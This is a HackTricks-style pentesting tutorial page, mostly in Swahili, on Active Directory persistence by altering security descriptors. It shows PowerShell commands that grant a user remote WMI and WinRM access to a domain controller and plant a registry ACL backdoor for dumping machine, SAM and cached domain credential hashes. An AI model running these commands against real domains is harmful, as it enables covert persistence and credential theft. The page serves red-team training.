# Security Descriptors
{% hint style="success" %}
Learn & practice AWS Hacking:
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: 
[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
## Security Descriptors
[From the docs](https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-definition-language): Lugha ya Mwelekeo wa Maelezo ya Usalama (SDDL) inaelezea muundo unaotumika kuelezea mwelekeo wa usalama. SDDL inatumia nyuzi za ACE kwa DACL na SACL: `ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;`
**Mwelekeo wa usalama** hutumika **kuhifadhi** **idhini** ambazo **kitu** kina **juu** ya **kitu**. Ikiwa unaweza tu **kufanya** **mabadiliko madogo** katika **mwelekeo wa usalama** wa kitu, unaweza kupata ruhusa za kuvutia sana juu ya hicho kitu bila kuhitaji kuwa mwanachama wa kundi lenye mamlaka.
Hivyo, mbinu hii ya kudumu inategemea uwezo wa kushinda kila ruhusa inayohitajika dhidi ya vitu fulani, ili uweze kutekeleza kazi ambayo kawaida inahitaji ruhusa za admin lakini bila kuhitaji kuwa admin.
### Access to WMI
Unaweza kumpa mtumiaji ruhusa ya **kutekeleza WMI kwa mbali** [**ukitumia hii**](https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemoteWMI.ps1):
```bash
Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc –namespace 'root\cimv2' -Verbose
Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc–namespace 'root\cimv2' -Remove -Verbose #Remove
```
### Access to WinRM
Patia **winrm PS console kwa mtumiaji** [**ukitumia hii**](https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemoteWMI.ps1)**:**
```bash
Set-RemotePSRemoting -UserName student1 -ComputerName -Verbose
Set-RemotePSRemoting -UserName student1 -ComputerName -Remove #Remove
```
### Remote access to hashes
Fikia **registry** na **dump hashes** ukitengeneza **Reg backdoor using** [**DAMP**](https://github.com/HarmJ0y/DAMP)**,** ili uweze wakati wowote kupata **hash ya kompyuta**, **SAM** na yoyote **cached AD** credential katika kompyuta. Hivyo, ni muhimu sana kutoa ruhusa hii kwa **mtumiaji wa kawaida dhidi ya kompyuta ya Domain Controller**:
```bash
# allows for the remote retrieval of a system's machine and local account hashes, as well as its domain cached credentials.
Add-RemoteRegBackdoor -ComputerName -Trustee student1 -Verbose
# Abuses the ACL backdoor set by Add-RemoteRegBackdoor to remotely retrieve the local machine account hash for the specified machine.
Get-RemoteMachineAccountHash -ComputerName -Verbose
# Abuses the ACL backdoor set by Add-RemoteRegBackdoor to remotely retrieve the local SAM account hashes for the specified machine.
Get-RemoteLocalAccountHash -ComputerName -Verbose
# Abuses the ACL backdoor set by Add-RemoteRegBackdoor to remotely retrieve the domain cached credentials for the specified machine.
Get-RemoteCachedCredential -ComputerName -Verbose
```
Angalia [**Silver Tickets**](silver-ticket.md) kujifunza jinsi unavyoweza kutumia hash ya akaunti ya kompyuta ya Domain Controller.
{% hint style="success" %}
Jifunze na fanya mazoezi ya AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Jifunze na fanya mazoezi ya GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
{% endhint %}